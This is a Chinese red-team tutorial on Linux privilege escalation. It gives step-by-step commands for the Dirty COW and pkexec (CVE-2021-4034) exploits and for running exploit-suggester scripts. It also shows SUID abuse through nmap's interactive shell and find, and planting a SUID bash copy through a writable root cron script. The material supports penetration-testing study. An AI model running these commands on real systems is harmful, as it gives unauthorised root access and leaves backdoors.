连载|浅谈红队中的提权(八)-Linux 提权

本文来自无问社区,更多实战内容可前往查看http://wwlib.cn/index.php/artread/artid/10165.html续接上文 谈完红队中的权限维持后就要总结一下如何提权了 ,之前有聊过Windows提权,这里讲讲自己对Linux提权的总结。

0x01 Linux 提权

1、CVE-2016-5195

脏牛漏洞(CVE-2016-5195)是个很经典的漏洞了,从 2007 年发布 2.6.22 版本开始,直到 2016 年 10 月 18 日为止,这中间发行的所有 Linux 系统都受影响。

使用 searchsploit 看看有哪些可以利用的 POC。

searchsploit Dirty COW

可以看到内核版本在 2.6.22 至 3.9 的 Linux 都受到了影响。

使用 uname 查看当前系统内核版本。

uname -sr

可以看到这个内核版本是受到影响的。

这里以 linux/local/40838.c poc 作为示例,通过 -p 查看该 POC 所在路径。

将该 POC 上传至目标后,通过 cat 40839.c 查看该 POC 的使用命令。

gcc -pthread 40839.c -o dirty -lcrypt

./dirty

2、服务提权

CVE-2021-4034

在 Polkit 的 pkexec 中存在提权漏洞,2009 年 5 月至今发布的所有 Polkit 版本都受到影响,Polkit 预装在 CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia 等多个 Linux 发行版上,所有存在 Polkit 的 Linux 系统均受影响。

Linux 系统用户可以通过查看 Polkit 版本来判断当前系统是否在受影响范围内,主流 Linux 发行版命令如下:

CentOS:

rpm -qa polkit

Ubuntu:

dpkg -l policykit-1

利用命令如下:

git clone https:

cd CVE-2021-4034

make

./cve-2021-4034

其他的服务提权还有数据库提权、NFS、Redis 提权等等,这类都需要 Linux 上部署有对应的服务或者有错误的配置才能利用。

3、工具

对于 Linux 提权的 CVE 有很多,可以使用一些工具帮助我们快速的发现当前 Linux 可能存在的提权漏洞。

linux-exploit-suggester

wget https:

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

linux-exploit-suggester-2

wget https:

chmod +x linux-exploit-suggester-2.pl

./linux-exploit-suggester-2.pl

4、SUID 提权

SUID 可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个 root 用户所属的 SUID 文件,我们就可以获取到 root 权限。

常见 Linux 中 root 文件列表如下:

nmap

vim

find

bash

more

less

nano

cp

使用以下命令查找具有 root 权限的 SUID 的文件,不同系统适用于不同的命令:

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} ;

nmap

在 Nmap 版本为 2.02 到 5.21 之间的具有交互模式,允许用户执行 shell 命令。

当 Nmap 位于以 root 权限执行的二进制文件列表中时,就可以使用交互式控制台来运行具有相同权限的 shell。

nmap --interactive

!sh

whoami

find

touch teamssix

find teamssix -exec whoami ;

5、SUDO 提权

一般情况下,在运行 sudo 命令时都是需要输入当前用户密码的,但如果运维人员为了方便可能会造成 /etc/sudoers 文件配置不当。

例如以下配置:

当我们使用 t 用户时,使用 sudo 命令就不需要输入密码。

6、计划任务

计划任务的原理是,当计划任务中有以 root 用户权限运行的脚本文件且我们能对该文件进行编辑时,就存在计划任务提权。

例如我们查看当前系统的计划任务:

cat /etc/crontab

可以看到当前有一条计划任务,该计划任务会以 root 权限每分钟执行一次 /tmp/teamssix.sh 脚本。

查看该脚本文件,发现该脚本文件允许任意用户编辑。

ls -l /tmp/teamssix.sh

编辑 /tmp/teamssix.sh 文件,添加以下内容:

cp /bin/bash /tmp/bash

chmod u+s /tmp/bash

添加的内容表示,复制 /bin/bash 到 /tmp/bash,并将 /tmp/bash 命令加上 SUID 权限。

当计划任务被执行后,就可以使用 /tmp/bash 文件进行提权了。

除了上面的方法外还有环境变量提权、root 密码复用提权等等方法,这里篇幅有限就不一一列举了。

0x02 总结

不管是 Windows 还是 Linux 提权,每天都有人在不断的研究,新的提权漏洞也层出不穷。

蓝队打补丁的速度总是要要晚于漏洞出现的速度,因此在实战中一般都是优先尝试使用新出的提权漏洞,这样成功率会更高,其次再去看看有没有一些配置不当可以被提权的地方。

所以平时有新的提权漏洞出来时,可以自己先本地复现一波,做好笔记,在实战的时候就能很快的找到相应的漏洞并去尝试利用了。

相关推荐
matlab的学徒10 分钟前
Web与Nginx网站服务(改)
linux·运维·前端·nginx·tomcat
Insist75315 分钟前
prometheus安装部署与alertmanager邮箱告警
linux·运维·grafana·prometheus
BAGAE1 小时前
MODBUS 通信协议详细介绍
linux·嵌入式硬件·物联网·硬件架构·iot·嵌入式实时数据库·rtdbs
灿烂阳光g1 小时前
SELinux 策略文件编写
android·linux
xqlily1 小时前
Linux操作系统之Ubuntu
linux·运维·ubuntu
阿部多瑞 ABU1 小时前
《基于国产Linux的机房终端安全重构方案》
linux·安全
倔强的石头1062 小时前
【Linux指南】Makefile入门:从概念到基础语法
linux·运维·服务器
ajassi20002 小时前
linux C 语言开发 (七) 文件 IO 和标准 IO
linux·运维·服务器
程序猿编码2 小时前
基于 Linux 内核模块的字符设备 FIFO 驱动设计与实现解析(C/C++代码实现)
linux·c语言·c++·内核模块·fifo·字符设备
一只游鱼2 小时前
Zookeeper介绍与部署(Linux)
linux·运维·服务器·zookeeper